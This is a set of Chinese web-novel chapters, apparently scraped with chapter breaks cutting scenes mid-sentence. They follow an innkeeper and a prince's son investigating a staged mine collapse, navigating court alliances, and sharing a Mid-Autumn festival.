他面色一沉,压着怒意:“我当时就没……” 话音被一男子喧哗的高声打断了。几张桌子之外,一五大三粗的壮汉提着一壶酒,红光满面,揽着女伎大声吹嘘着什么,就听那女子道:“果真么?” 男子道:“爷什么时候骗过你?那矿洞绝不可能好端端坍塌的,我都瞧见了!” 二人齐齐竖起耳朵,向那醉汉看去。 只可惜那两人再也没提到什么矿洞的事,只是女子不断地问“果真么?”“爷真厉害!”“奴家都不懂这些呢!”。 那男子便不断地答“真的!”“可不是!”“你无须懂,因为你的爷来了!” 谢辛辛无语,眼神向那示意道,“去问问吗?” 陆清和思忖道:“醉成这个样子,问也问不出什么来。” “也是。那怎么办?” 陆清和沉思少顷,将谢辛辛拉到自己身边。 他的动作很轻,隔着衣袖,在她肌肤上惹出一丝温柔的痒意。 陆清和浑然不觉,附在谢辛辛耳边,低声道:“如此,你跟鸨母说……你去找阿凤……” 她被他的呼吸烫得一缩脖子,忙不迭一点头。 走出花萼楼前,她摸了火热的耳垂,喃喃道:“原来对着耳朵说话这样难受,陆清和之前怎么忍的我呢。” 那位自吹自擂的醉汉正 22. 兔兔 《钓系掌柜只想逢场作戏》全本免费阅读 陆清和与阿凤唱了一出好戏,演得黄三对陆清和是十二分的信任感激。两人如遇知己般,谈笑风生步入了一间酒坊。 谢辛辛掸了掸衣上的灰,自言自语道,“陆清和查案子一贯较真,查这矿山的案子也可称积极,倒好像无须我再敲什么边鼓。郭知州莫非是多虑了?” 这倒也好,等于白捡得到卷宗的机会,还借此事跟北瑛王府的人搭上了线。 怎么有这样妙的巧合? 她觉得幸运,又因幸运一词早远离她的生活太久,而感到莫名的不安。 阿凤刚扶着她下房檐,自己将木棍系在身后背好,才翻身落地,道:“你刚才说什么?” “没什么,回家吧。应是没我们两个的事了。”谢辛辛搪塞几句,翻出钱袋数点着剩下的银钱。 忽然右肩被经过的路人粗鲁一撞,她哎唷一声,没管是谁。才要把银两放进佩绺中,一摸腰间,钱袋竟不翼而飞了。 她登时明白过来,对阿凤道:“是贼!” 阿凤一个箭步冲了出去,边跑边道,“我去追他,你就在此处等我!” “哎?!等……” 阿凤的背影一眨眼便消失在街角。 谢辛辛手捧银两,懵然道: “但是钱还在我手上啊……” …… 应付了半日黄三,陆清和回到小院中已是傍晚。宅院布置简单,一面进门,三面房屋。正对着大门的正屋用来会客,两边厢房可以住人。 他们才来一日,这儿还显不出什么人气。推门时,他还能听到蛐蛐儿微弱的鸣叫,待往里一走,便连这点虫鸣都没了。四下一时安静的出奇。 天色尚有余光,各处还未点灯。陆清和身上疲惫,只想休息片刻。在院中站了一会儿,听不出谢辛辛住进了东厢房还是西厢房,索性出声道:“阿凤!” “哎!公子回来了,我去煮茶!”阿凤的声音却是从主屋飘来,欢喜雀跃。 主屋的门开了,却是一团粉米嫣红的亮色轻巧地跑了出来,像朵乘风逐流的花儿。 谢辛辛飞快地奔过来,将一枝带着香味的东西插进他的发髻里,笑着道:“金桂吐芳,吉祥如意!” 陆清和抬手将这东西一摘——是一梗黄桂花枝。 谢辛辛道:“小时候我娘就这样,中秋前,把桂花给我爹插个满头,还说这是吉祥的好兆头。” 陆清和心中一动,微微笑道:“哪里得来的?” 谢辛辛不说话了,屋里的茶具却碰出声响。 他探询地望着谢辛辛的眼睛,她眨着睫毛,一会儿才摸了摸头发道:“回来时路过一户人家的桂树长得特别好,我让阿凤帮我摘的……” 陆清和失笑道,“趁别人不注意‘摘’的?” 谢辛辛:“咳……是吧。” 陆清和把玩着桂枝,浅笑道:“阿凤跟了我多少年,才在你身边待一天就被教坏了。” “这话怎么说的!”谢辛辛不服,“你支使他去套人麻袋、乱打一通,就不是教坏了?” 屋内的阿凤摸了摸鼻子,不甚自在。 他自幼被卖进北瑛王府,对父母全无印象,此刻居然有种爹娘在为自己吵架的感觉。 陆清和无意与她争,只道:“你们两人在里面做什么呢?”说着走进房内,却见地板上横七竖八地躺着五色绢纸,纸上挂着两把小剪子。 阿凤忙把碎纸踢到一块儿,递上热茶道:“谢小掌柜说教我做兔儿灯。” 明日便是中秋,往日八月十五,谢辛辛俱在玉春楼里接宴摆席,忙得脚不沾地,几近天亮时才将将能歇下,回到房里,窗上往往挂着一个刘宛亲手做的兔儿花灯。 如今她身在邺州,也不知玉春楼在茗琅和李管事的手里是如何景况,刘宛又过得如何,有没有想她想得掉眼泪珠儿。 心中嗟叹着,干等陆清和回来也是无聊,谢辛辛便主动提出和阿凤一起剪几个花灯形状,到明日点上蜡烛挂在院子里,也有一些过节气氛。 陆清和看了眼这剪下来的形状,轻嗯了一声,道:“你们继续,不必管我。”便坐下一口气喝了半盏茶。 他不在场,他们二人玩得倒开心。 说是兔儿灯,剪得像个癞蛤蟆似的。 谢辛辛当然愿意不管他,自己拿起那剪了一半的花样坐在他相邻的椅子上,提道:“那黄三说什么了?矿洞的事,他那双‘金刚眼睛’看出什么来?” 陆清和吹开几片茶叶,转着茶杯悠悠道: “在那之前你先告诉我,你是站在莲州郭知州这一边,还是站在宣王府宣王世子这一边?” 谢辛辛剪纸的手一歪,心中轰然一声,惊愕地看向他。 陆清和冷眼看着她的反应,却是微勾起唇。 他等她这个表情很久了。谁叫她平日里胆大包天,总拿他取乐呢? 谢辛辛定了定神,勉强笑道,“你说什么,我不明白。先不说我已拿玉春楼与宣王府的往来账本和你做交易,郭知州与我又有什么干系?” 他问这话有佯诈她的可能。在未能确定陆清和对她的心意前,她绝不会主动袒露。 “嗯,我随口说的。”陆清和饮了一口茶。 谢辛辛惊疑不定,不知如何接话,却不知陆清和心中已凉了一截。 矿山案如今嫌疑最大的人是郭知州的私生子王负。此人矿山坍塌当日失踪,坍塌后却被发现昏睡在现场,现已被邺州当直司收监,郭知州必定会有所动作。 他早知此事,经过莲州前,放消息称初七抵达莲州,却故意比这个时间早了几日观察知州府的动静,恰恰撞见了谢辛辛走进莲州府衙的那一景。 此后他在玉春楼和谢辛辛几番交锋,早料到郭知州是走投无路,竟找了这样一个丫头来使美人计。但几日下来,谢辛辛对他真真假假,他胸中却是一团乱麻。 自我拉扯了几日,终于下决心与她开诚布公,她却仍有所保留。 若是她真心待他,有什么不愿承认的?可见她自始至终只是拿他当一桩认领下来的差事。 陆清和道:“既答不上来,那这案子就与你无关了,不必再问。” 既如此,他也当心如坚冰,专心替父王调查案件与宣王府,除了他们之间的交易之外,不在她身上用多余的心思。 空气静默了一瞬,又响起剪子咔嚓咔嚓剪着绢布的声音。谢 23. 女儒 《钓系掌柜只想逢场作戏》全本免费阅读 夜里下了一小阵雨,因而孟府的大门还有些潮湿的水迹。 监当官的品阶虽是文官中最末流的,可铁冶监到底是个肥差。尤其近年,太子与大皇子均到了合适的年纪,前朝波云诡谲。 朝廷越是动荡,这矿场铁场的资源便越是一个阵营重要的储力。 这正是北瑛王愿意拉拢孟安的理由。 可孟府却不比外人想象中奢华,恰恰相反,府中内设古雅朴素,庭中陈设唯一水缸,缸中栽一青莲,另有一楠木高脚书桌位于简易藤架之下。桌上笔墨纸砚皆用防水绸布覆盖,看得出主人对书桌多有爱护,但也免不了风吹雨打的痕迹。 听说郑瑾瑜要来投奔孟安,这高脚书桌的前方,又添置了一楠木曲栅矮书案。书案虽新,却伤痕累累。郑瑾瑜才来了一二日,案上已甚多狸奴爪挠一般的钻刻痕迹。其上所刻之言,任何一个书生见了都会难以启齿。 比如桌上的“学四书不如学四只忘八腿儿”,“考五经不如烤五只胡鸡”……最后是一条曲栅上所刻的“礼尚往来,往而不来,非礼也”,其中“非礼也”三个字又被树枝涂去似的,划得难以辨认,其后补刻上一行小字:“管它肥狸不肥狸,郑爷再也不来了!” 言辞激烈,不难看出这方小书案的主人经受了什么心灵上的磨折。 才往孟府去的谢辛辛一行人如何能想到好友的经历呢,一路上陆清和又是少言寡语,谢辛辛又是变着法子逗他,不同的是阿凤不再拿眼警觉地盯着她,跟在他们身后只当看不见。 不知谢辛辛缠着他问了什么,陆清和终于说了两句,把她吓了一跳。 “当直司的判官是这么说的?”她拧起眉毛,“哪有这样断案的,就因为王负晕倒在被炸坍的洞口,就定了他的罪?” 陆清和沉默须臾,解释道,“兹事体大,天子亲命宣王府总领开采的铁矿脉出了这档事,当直司急于复命,就会抓嫌疑最大的人来交差。” “黄三是王负手下的工头,据他所说,王负是个勤勉亲和的好监工,矿塌前一日,还许诺给手下的矿丁们放中秋假。” “他们这批人都是官衙直接征去服役的,吃住都在铁矿场,鲜少假期,黄三当夜便兴奋地睡不着,却碰巧看见一行蒙面人鬼鬼祟祟地运一推车的东西进矿场。” “他好奇跟进一看,你猜那一车是什么?” 谢辛辛想了一想:“莫非是火药?” 陆清和道:“正是。黄三说,矿场因要炸洞采矿,存有火药是常事。可那一行人去的方向分明是已经炸好了的矿洞。他觉得疑惑,赶忙回去向王负报告,可王负的营帐里空无一人。” 谢辛辛记下,道:“王负当时就失踪了。” 陆清和道:“正是。黄三觉得事情不对,便连夜去找王负上属的铁冶监孟知监。孟府离铁矿场不远,他拍响孟府大门,求见孟安。” 谢辛辛道:“看不出来,黄三这人还挺有责任心的。” 陆清和浅浅一笑:“嗯。他对孟安说了夜里所见,和王负失踪的事。本以为孟安会着手调查,未想到孟安却说,无论第二天发生什么事,不许声张,否则他性命难保。” “啊?”谢辛辛回忆起在花萼楼前孟安的样貌,震惊道,“这孟知监也是真人不露相,看着规矩勤谨,口气这样狂妄?” “可,黄三凭这就怀疑是孟知监是幕后黑手?” “黄三为人义气,似对王负甚是尊重。”陆清和补充道,“哪怕第二日得知矿塌惨案,他明白过来炸药的用处,也相信绝不是王负所为。” “然而,他对孟知监所言‘王负前夜失踪’一事,却变成了王负获罪的重要证词。” 谢辛辛嗟叹道:“如此,他痛恨孟知监,认为孟知监是故意嫁祸王负,也是情有可原。” 边说边走,几人已来到孟府门前,阿凤上前叩门,经过陆清和时,他正偏头对身边谢辛辛道:“难道你有别的看法?” 谢辛辛却道:“也不是……只是缺乏证据,凭这点就给孟知监定罪,和轻易就给王负定罪了的判官有何异?” 门内传来脚步。孟府的木门被打开前,陆清和轻轻笑了一声,用微不可闻的声音轻道: “这难道,不正是你想要的结果?” 谢辛辛低头,似是听到了,也似未听到。 …… 枕书听到孟府的大门被叩响之前,郑瑾瑜正赖在自个儿的床上,鬼泣神嚎: “不是说今儿过节,不用学吗!我要回家!我要回家!” 孟夫人——也就是郑琢玉,正立于床前,将他锦被一掀,竖起两道蛾眉:“年轻子弟,应要黎明而起,日落而息,洒扫庭除,内外整洁。姑父今儿不给你上课,你就不起床了吗?”[1] 郑瑾瑜哭道:“姑姑,小时候你不是这样对我的。” 郑琢玉冷脸道,“你如今已大了,你姑父在你这个年纪,写的文章都有你人这么高了。”她顿了顿,又道,“二爷爷在你这个年纪,都已入朝为官了。” “姑姑,你拿姑父奚落我也就算了,老太师是什么人,我是什么人呢?老太师若是天上飞的鲲鹏,我便是地上跑的马骝。” 郑瑾瑜蔫嗒下来,唧咕道,“更何况,我只是想来向姑父寻个差事做,就是让我去矿场管人也使得,读什么书哇……” 郑琢玉不为所动,转过围屏,留下个背影道:“起来,扫地,每再晚一刻,明日再多抄写十张书。”说完,不顾身后嚎啕抗议的声音,径自离去。 走出不多远,听到郑瑾瑜拖拖沓沓的起床动静,她才摇头道,“不读书就想入世,急功近利,非长远道。” 这个外甥,在表兄家中被惯到这么大了,才想起送到她这里来教化。若是早来几年,她还有信心将郑瑾瑜教的像孟安这样博文约礼、抱质怀文。可如今,纵使她与孟安齐心,也没把握能将他教成什么模样。 “唉。”郑琢玉叹了口气,“若我是男子身……” 一声青玉琅响般的男声便道,“女儿身又如何?” 郑琢玉一看,见是孟安拿着提着油纸包的点心,笑容满面地向她走来,“据传这家饼铺的老板是莲州人氏,今日过节人多,我特特排了队给你带来的,你尝尝有没有家里的味道。” 郑琢玉笑道:“莲州与邺州才多远,哪儿就味道不同了?说正经事。” 孟安立刻恭谨道,“夫人你说,什么事?” 郑琢玉道:“先前表嫂嫂信里说的那件事,是不是可以趁今天向那陆二公子说了?” 孟安面色凝重 24. 吃醋 《钓系掌柜只想逢场作戏》全本免费阅读 郑琢玉未得到回应,身体微微前倾,在谢辛辛看来颇有咄咄逼人之相。 她转头去看—— 陆清和唇角笑意正浓,眼尾飞扬,温声道: “愿闻其详。” 谢辛辛不出声地啐了一口茶沫,心中暗骂。 得意什么?开心成这样。 郑琢玉深吸了一口气,才幽幽道,“陆二公子有所不知,郑氏在莲州有一旁支。莲州郑家的家主,论起来我要叫他一声表兄。自我出适,我爹获罪,外子因受牵连,受官邺州,我们与表兄家就常有来往。” 她说到此处,忽然神色微变,往后收回身子。 在家孟安珍她爱她,惜她才华,从不以妇德、妇言、妇容、妇功等世俗礼法约束于她。可如今有陆二公子这个外人在场,她却一心急,抢在孟安之前说了许多,自觉失礼。 陆清和才起了兴致,见她收了声,追问道:“然后如何?” 郑琢玉不再答,只是微微福礼,眼神示意孟安。 孟安受她目光的驱使,总算还是接上话,道: “郑家表兄……虽,不通政事,也知北瑛王殿下神武英名。莲州郑氏察觉此酒楼与宣王府有私下交易,若北瑛王府有意……自将配合王府行动,为北瑛王殿下效蝼蚁之诚……承蒙北瑛王殿下赏识,孟安也将殚心竭虑……” 一番话说的磕绊,却十分周全。字里话外说的虽是莲州郑氏,却对莲州的事一笔带过,后续表的全是孟安自己的忠心。 郑琢玉听得心里觉得合适,对孟安微微点头。 陆清和自然也懂了他的意思,却有意笑道:“不若先说说,郑氏觉得该如何查玉春楼?” “咳、咳咳咳……” 孟安才要开口,被一阵咳嗽打断。 陆清和含笑饮茶。 阿凤立于他身后,对此不忍直视。 孟家夫妇则是望向呛咳不止的谢辛辛,皆面露担忧:“姑娘,你还好吧?” 谢辛辛:“咳咳,没事,没事,你们先聊,我出去透透气。” 不知怎地,当面听别人说自己的坏话,她心里却还觉得是自己逾礼了、冒犯了、冲撞了他人背后嚼舌根的氛围。 尤其是陆清和还笑眯眯地愿意听。 遂还未来得及等到厅内的主人回话,谢辛辛急急起身,狼狈离去。 孟安夫妇愣了一会儿。孟安才在斟酌答话,陆清和望着谢辛辛的背影,抬手正色道: “先不说这个,我有话要问你。” …… 转过中门没两步,扑通一声,谢辛辛就看见侧墙根里一个熟悉的身影朝她跪下了。 这人本来俊逸轩昂的五官皱成一团,挤成一个大写的苦字。 “我听到姑姑说的了……”郑瑾瑜抱着一个黄竹笤帚,悲痛万分,汪地一声,就哭:“谢掌柜,我对不起你!!” 谢辛辛冲了出去捂住他的嘴:“嘘!低声些!” 几天未见,郑瑾瑜还是这没出息的样子。 这种似曾相识的感觉冲淡了方才被惊起的两头三绪,谢辛辛忽然释怀,拉他起来笑道: “你哭什么啊?别一惊一乍的。再说了,咱们俩,再加一个陆清和,经历了这么多事,难道咱们不是好朋友么。陆清和得是我们这头的才对呀。” 她不自觉将郑瑾瑜这个告状的始作俑者也划入“我们”二字中,未察觉有什么不妥。 陆公子和我们是好朋友吗?郑瑾瑜似懂非懂地点点头,觉得应该算是了吧。尽管这一点,谢辛辛只是为安慰他、信口扯的闲篇。 她自己并不这么想。 在她心中,陆清和应是个大尾巴狐狸,蔫坏蔫坏的,不仅难以让他中计上套,还要提防他平日里作势唬诈。 仿佛那双细长的眸子一垂,就有千万心思,像春风中的柳条一般生发出来,随便折哪一枝都能将她缠得劳心劳神。 郑瑾瑜不知她的念头,只是咬牙抹泪:“我不是为你哭,我是为我自己哭。来到姑姑家,有了对比,才知道我娘、还有你们,对我有多好。” 见她不信,郑瑾瑜把笤帚往旁边一攮,拉着她去看院子里一大一小两个书案。 “前脚刚踏进孟府的门,后脚我就被按在这儿了。姑姑说要让姑父教我念书,姑父还真从早到晚地就坐在我前头盯着我。” 他颇为委屈,“都不说去赌坊了,我现在的爱好就是想捉个豆娘,这也不许,一直让学到酉时,吃了饭才放我自由活动。” 谢辛辛掐指一算,才酉时,那时玉春楼才到忙活起来的时候呢。 但她嘴上仍是说,“你想开些,这不还是留了两个时辰给你。” 郑瑾瑜抗议道:“读了一天书了,回去只想睡觉!哪儿有玩的心思!” “昨日姑姑卯时就叫我起来晨扫,辰时便要开始写字看书,今儿还是过节我才得了一天假。” 谢辛辛心中却惊叹,这孟夫人,竟是真心想将他培养成材? 因而看向郑瑾瑜的目光也敬畏了几分,不由得幻想起多年后他穿着陆清和身上这套白罗大袖,衣冠楚楚,假模假式的模样。 不行,单是一想就要笑出声来。 “你怎么还龇牙乐呢?”郑瑾瑜气急,本就拽着她的袖子,非要指给她看自己受难的书桌,这会更是连带着她肩披的黄绡披帛也揉在手里。 谢辛辛从不吃亏,打了他这只手,用一只手敲他脑袋:“就应该让孟夫人搓一搓你的傻气!” 拉扯间,秋风轻起,摇动了小院角落的芳樟树,竟然正好吹起几片樟叶子,小船似的晃晃荡荡,绕过爬满了大叶子的藤架,晃到了他们俩的眼前。 两人都抬起头,似两只打架打了一半忘记继续的小动物,懵然地看。 陆清和匆匆地出来找谢辛辛时,正巧撞见这一幕。 谢辛辛与他一道的时候,他听旁人说起玉春楼背后的关窍,尚觉得有趣。 可谢辛辛走开后,郑琢玉和孟安又三番两次提起此事,他不知为何烦闷起来,不想回应。 哪怕他们的谋划与当初的自己殊途同归,即利用玉春楼的一个小窍口,撬出整个宣王府的阴暗勾当。 他顿下步子,缓缓停在藤架远处。打闹的二人俱没有瞧见他。乘着风的芳樟叶子映在陆清和的眼底打旋儿,渐渐地沉落下来。 孟安追了出来,向陆清和深深地作了一揖。 方才郑琢玉与他卯着劲向北瑛王府投诚,见他们越说越认真,陆清和却听得逐渐收起笑意,隐约带了愠怒,说证据不足时,姑且让玉春楼顺其自然。 25. 窥破 《钓系掌柜只想逢场作戏》全本免费阅读 今年的中秋格外寒冷,微微攀升的圆月像冻白了的生梨。 小院的厨房冒着缕缕炊烟,时不时传来阿凤忍无可忍与谢辛辛吵架的声音。 陆清和在院中闲坐,听到阿凤的声音越喊越大:“谢掌柜,你在糯米粉里面加桂花汁便算了,能不能别在汤圆里面放咸肉?” 厨房里又是叮叮当当的一阵。他无奈地轻笑,忽然想,这种日子,莫非寻常人家每天都能经历么? 作为王府次子,陆清和见了生母,只能喊一声姨娘,但四姨娘也从不让他喊北瑛王妃母亲。北瑛王常年在兵营,他也不常见到父亲。 四姨娘不甘人下,全心全意要将他教得比陆景明更强,在四姨娘的房中,没有温情,只有戒鞭。 北瑛王更毋需说。 他想起几年前。 陆清和的冠礼在一个冷峭的冬。冠礼前,北瑛王带他去攀登十常山。 北瑛王多年征战,极少陪伴家人。那日,十五岁的陆清和很开心,哪怕冻疼了脸,仍咬着牙关一直爬到半山腰,直到体力不支,摔倒在冷硬的山石上。 目光所及,覆着积雪的绵绵山脉之上,是一望无垠的广阔苍天。碧空中,流云腾涌不息。 陆清和看得痴了。 “真美。”半大的少年喃喃道。 一道阴影投在他的身上。 北瑛王站到陆清和身边,用自己的身体挡住了天空。 北瑛王望向山顶皑皑的白雪,指着远处说,他的兄长陆景明弱冠时,他同样带陆景明来了十常山,但陆景明一直坚持走到了那里。 王爷说,北瑛王府是一座山,倒在半路上的陆清和,也是山上的一块石。 王府与他,都将成为兄长脚下,最稳妥坚固的磐石。 谁都知道陆景明是要袭爵的,他也知道。 然而,北瑛王府每个人都怕他不知道。 “我……”他张了张口。 北瑛王拂袖而过,道,“下山吧。” 陆清和偷偷在石头上多躺了一会儿。石头缝中冒出的小草搁着衣服搔弄他的胳膊。 凤眸映着天色,他轻轻道: “我也想看看山顶。” 王爷早已走远,回应他的惟有山风,拂过山林。 …… 孟府之中,郑琢玉三人围坐在一处。 枕书小心问:“夫人您看,厨房为宴席准备的菜?” 原本为了接待陆清和,厨房从昨夜就开始备菜。如今人一走,郑琢玉没了胃口,道:“随便拣些上来吧,就我们几人,不必如此隆重。” 孟安却按下她,笑道:“别听夫人的。怎么不必?听我的,照原样摆出来。” 郑琢玉脸色不好,担忧地向孟安道:“是我提这事提的太急了?陆二公子可是生气了?” 孟安叹了口气,虽然今天引出玉春楼的事不是他的意思,他仍握住郑琢玉的手,道:“不必忧虑,陆二公子不是没有气度的。过几日你再问问表嫂那边有何实据,我再寻个机会将此事仔细上禀就是了。” 郑琢玉道:“他若没有生气,为何突然向你问起王负的事?我听着像是要问责于你一般。” 孟安对此惶恐不安,却一味拍着郑琢玉的手道:“夫人,无须担心,不会有事的。王负如今在当直司收押,受了刑,神志不清。他既没法去问王负,我是王负的上属,例行来询问我有关事宜实属正常。” 郑琢玉却道:“我如何能不担心?你自从和那姓徐的走得近……” 孟安高了声音:“夫人!” 郑琢玉被他高声一呵,才忽然惊醒过来:郑瑾瑜还坐在他们身边,愣愣地听着他们的对话。 郑琢玉拍了拍郑瑾瑜:“瑾瑜,你就不必多思了,只管读书是正经。” 郑瑾瑜有话想说又不知该不该说,憋了好半天,才道: “姑姑,你们不知道谢辛辛就是玉春楼的掌柜吗?” “谢辛辛?”郑琢玉道,“那是何人?” 郑瑾瑜道:“就是陆公子身边那个小娘子啊!” 孟安、郑琢玉皆一惊:“什么?” 孟安忙问:“她与陆二公子是什么关系?” 郑瑾瑜搜肠刮肚,仔细回忆了他们从莲州到邺州的每一日,斟酌着道:“原先,他俩两情相悦,后来感情有了裂痕,而我以我的聪明才智从中周旋,如今这两人好似已经互许终身了吧?” 郑琢玉如遭雷劈。 那她今日都对陆二公子说了些什么啊! 孟安恍然大悟,细细思忖,这才逐渐明白过来,为何每当他们提及此事,陆清和的面色逐渐不耐。 “不对。”郑琢玉拧着手帕,下决心道,“孟安,玉春楼这个投名状送到你手上了,你是早晚都要交的,而且越早交越好。” “太子与大皇子势同水火,不知哪一日就要变天了,若等两派撕破脸皮再站队,你就永远成为不了任何一边的心腹,你可明白?” 孟安一向听她的,只微微颔首表示认可。 郑瑾瑜急道:“姑姑,刚才不是说了吗,我和他们都是朋友,你们不能这样!” 孟安便有些犹豫,郑琢玉也说:“瑾瑜,你说得对。姑姑不会再向陆二公子提这件事。” 郑瑾瑜欢喜起来。郑琢玉又道:“瑾瑜,你去厨房看看,若是有什么菜还没做的,叫下人们收起来,不要浪费。” 他便欢天喜地地去了。 等郑瑾瑜一离开,郑琢玉又向孟安道:“你听我一言。” “既然陆二公子这条路行不通,依我所见,你也不必再将此事报给他。直接书信一封,直接送到王爷或者陆世子的手上。” “这事,陆二公子已有私心,他不愿意理,可陆世子未必不会理。” …… 谢辛辛走出来时看到陆清和独坐在院子里的石桌前,不知坐了多久。那双微微扬起的凤眸里,萦绕着秋天凉凉的雾气。 她静静地看了好一会儿,才跑到他面前笑道:“又在想什么。” 在陆清和的视角里,她怀里抱中白瓷汤碗,笑逐颜开地过来:“尝尝这个。” 见是一碗米黄色的糯米汤圆,陆清和眼角微微挑起:“什么馅的?” 谢辛辛转了转眼珠:“不告诉你。” 他终还是舀起一颗嫩黄色的汤圆,闻到一丝甜甜的桂花香气,踌躇着下了口。 “公子别!” 然而阿凤的呼声已经晚了,他刚咬下去,立刻明白过来: 咸肉馅的。 谢辛辛“噗”地一声笑了出来,掩面道:“陆清和你真好,我求了阿凤半天他都不愿意吃。” “公子,你,感觉怎么样?”阿凤擦着手跑到他面前,紧张地问。 陆清和的眼睛好像失焦了一瞬,又渐渐亮了起来。他慢慢咀嚼道:“其实,尚可。” “你看吧!”谢辛辛点着阿凤的额头,得意道,“我玉春楼的掌柜不是白当的。” “真的好吃吗?”阿凤半信半疑。 云京再向北,翻过一道山已经与辽东北接壤,因而口味也受北方影响,汤点极少有咸味的。陆清和和阿凤都是初次见到咸甜口的汤圆,略感新鲜。 谢辛辛推走阿凤道:“本该用桂花蜜做的,临时取材,只有桂花汁了,香味淡了些,但也肯定好吃。你就别杵着了,自己盛一碗去。” 阿凤本就在嘴馋的年纪,听了此话便真的又跑回了厨房。谢辛辛落座在陆清和的对面,托着腮盯着他看。 陆清和见状放下羹勺,回望向她。 谢辛辛道:“你没有什么要跟我说的吗?比如,孟大人打算怎么动玉春楼。” 陆清和道:“无甚可说。拿到玉春楼的账本前,我不会让别人动它。” 他的齿尖还留有桂香,说话的时候,总觉得喉间润着清甜。 “原来如此。”谢辛辛把汤碗向他推了推,“原来陆二公子照应着我呀。” 他轻哼一声,接过汤碗,搅动起一碗甜香。 “可郑家的意思,是想配合你调查玉春楼。”她笑道,“你不让他们试一试?若 26. 定情 《钓系掌柜只想逢场作戏》全本免费阅读 风云变幻,浮云急速聚拢在一起,把日光都遮掩去大半。云朵把正好投在陆清和脸上的一抹残阳擦拭而去。 陆清和默然放下羹碗,深深地叹了一口气,好像连同这瓷白的碗一起,也把胸中的什么负担放下了。隔着一张小石桌的距离,就这么垂手看着她。 “看穿了,又如何?”陆清和问。 谢辛辛挑起眉毛,眼里映出光来,“我可以不配合。” 她哪里来的底气,还威胁起人来了?陆清和有些困惑,但他也知道,这谢小掌柜行事确实是不寻常的。 他眼中是她,心中却是风雪交加的十常山顶,山间的草树和她的样貌叠在一起,陆清和忽然觉得她就是十常山上的风,在自己攀山的路上呼来啸去,喧闹添扰。 他认真道:“我不能让你不配合。” 谢辛辛哦了一声,带着故意的询问。 陆清和道:“你说得对,此案,我怀疑与宣王府有关。不,即使无关,北瑛王府也会想办法使它有关。因此此案极有可能牵涉前朝风向,若做成此事……” 若此案获破,天子面前,他也有了姓名。 在朝堂上,他和王爷与兄长,或将平起平坐。 但他忽然想到,谢辛辛还不知道他只是个豢养在王府中无名无权的庶子,便把后半句话吞回了肚子里。 谢辛辛不知这些,只道:“既如此,我手上便多一项和你交易的筹码。” “你若答应保住我的玉春楼,护住刘宛和我玉春楼中的伙计,我可以继续陪你演这出戏。” “若你不应,我就把你的计谋书信一封,传到宣王世子那去。” 她是这么盘算的,不知为何说出来又有些颤抖。她看见陆清和的眼中结起冬天时候莲塘水面的霜花,一层一层的,看不清哪一层情绪在最上面,但底下总有暗涌。 “你这套办法,不就是打一个‘他不知你知,你知他不知么’?”她昂着下巴继续道,“一旦宣王府那边明白了你的意思,接下来可就举步维艰了。” 陆清和默然了片刻,出声道:“看似是我北瑛王府的反间计,实则是你谢辛辛主动作出的选择。” 谢辛辛恍然,原来这么些话用这几个字便能说完。 陆清和坐得端正,抬起眼睫凝望着她。 茶褐色的眸色里,像有一簇青蓝的火,和在玉春楼见到那一次有些像,但又不太一样。 他神色静穆,吐出的话却肃杀:“若我直接杀了你呢?” 话音淡淡,却惊了才抱着汤圆走出厨房的阿凤。他一时不知道将汤碗放在哪里,手上反应却比脑袋快,单手拖着碗,脱出一只手来按住腰间的匕首不动。 谢辛辛瞥了阿凤处,起身慢慢转看向天上的乌云: “若你杀了我,你以为,宣王府会如何理解我的死讯?” 她若死在邺州,死在陆清和的身边,明摆着就是告诉宣王世子,宣王府被察觉了。 给赵世子递信,或是死在这里,对陆清和而言都是坏结果。 而让她活着,却是双赢。 这句反问虽有道理,也可听出她成竹在胸之意。可陆清和偏偏被她这样漫不经心的态度给激恼了。 这算什么?为这样轻飘飘的一句话赌命? “你以为我不敢?!” 字字如冰,敲打在泛凉的石头砖上。 谢辛辛不敢回头看他。 她确实在赌,赌的不是这一计,而是在赌,赌陆清和能听明白她的逻辑,且还是一个不会因她在人后暗自谋划这些,而被激怒的,一个冷静端方的人。 与其说是对峙,不若说是她用青竹般宁折不弯的脊背,无声对抗着陆清和冰刀一般的目光。 阿凤见陆清和紧紧握着手指,眉间蹙起一道山谷般的沟壑。他犹豫了一会儿,抽出了刀刃,试探性地往谢辛辛那儿去了。 阿凤自然不知在自己去厨房时二人都说了什么,怎么忽然就这样剑拔弩张起来。因此也不敢真的将刀尖对着谢掌柜的身子。只好一手拖碗,一手握刀,步步踌躇,倒像红孩儿托着他爹的宝塔。 陆清和看见阿凤这样子,又看了看他手上那一碗桂花色的汤圆,提起的怒气忽然就一松。 叹了一声,摇手让他退下。 听到这一声叹,谢辛辛才转过来,心有余悸地笑:“我就知道。” 她就知道陆清和是一个讲道理的。 这声叹气她听起来很熟悉,每次缠陆清和缠得狠了,他都是这么无奈一叹。 他又气又笑:“你又知道什么?” 谢辛辛过来牵住他的袖子摇,习惯性地胡诌:“我就知道你舍不得我死嘛。” “又说胡话。”他面色冷硬,重新埋下头来探究眼前这一碗嫩黄馨香。 谢辛辛仍问:“那你就是答应了?” 说了半天,汤圆都有些冷了。谢辛辛伸手将陆清和面前的碗夺了下来,冲他摊开自己的两只手掌。 陆清和看着向上的两只白手心,凝眉道:“怎么?” “我早就想说了,我们两个之间既有交易,你总得给我个契书什么的吧?”她弯着眼儿,将手心送到他面前,“我问你要的承诺,无论是去云京结婚,还是替我守好玉春楼,那都是远在天边的事,你要是反悔怎么办?” 她想,若是刘宛看到她这样,定会笑她惯是这样会趁机讨巧,别说吃亏了,饶是自己的错都能从别人那里讨来三分好。 可惜宛姐姐无法跟着自己来。 听了这话,陆清和略偏了偏头,道:“我们的交易,似乎并非是什么上得台面的东西。若在契书上写我们如何计划坑骗宣王府,恐怕写了也难以上告吧。” 谢辛辛:“……这也是。” 她收回手掌,望着渐渐垂下的夜幕,唉声叹气起来。遇上的问题越多,越发觉得自己思念刘宛,思念爹娘。思念完了,还得提着一颗脑袋和一颗心,一步一步地向前走。 天渐渐暗了,心酸归心酸,谢辛辛终于想起来,“阿凤呢?被你一抬手赶去厨房,还不出来?天都要黑了。” 她才要回身去叫阿凤出来,手腕却又被细长坚韧的手指给握住。 谢辛辛回头,一眨一眨地看他,将手腕在陆清和的虎口处挪了挪:“怎么总是捉这一处。” 打从她给陆清和下药那天,他就偏爱握住她的腕。 他一松手,却马上又捏住她的手掌翻过来,将怀中一柄六寸余长,缠着丝绫的袖剑稳稳放在她手心里。 谢辛辛合掌捏了捏,惊讶道:“你的那柄剑。” 